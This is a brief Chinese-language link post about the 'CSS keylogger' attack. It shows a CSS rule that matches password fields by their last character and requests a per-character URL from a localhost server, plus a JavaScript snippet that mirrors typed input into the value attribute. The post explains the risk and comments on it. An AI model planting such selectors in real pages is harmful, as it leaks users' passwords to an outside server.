CSS 键盘记录器

使用类似这样的属性选择器的恐怖攻击

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

起初，我有点等一下，你不能根据人们在输入框中输入的内容来选择输入框，只能根据属性本身设置的内容来选择。Max Chehab 证明了这是可能的，因为 React 使用默认情况下执行此操作的“受控组件”。更不用说你可以轻松地将输入值应用于属性，例如

const inp = document.querySelector("input");
inp.addEventListener("keyup", (e) => {
  inp.setAttribute('value', inp.value)
});

像这样根据 value 属性选择输入框有多有用和普遍？我不确定如果它被移除，我会错过它。

直接链接 →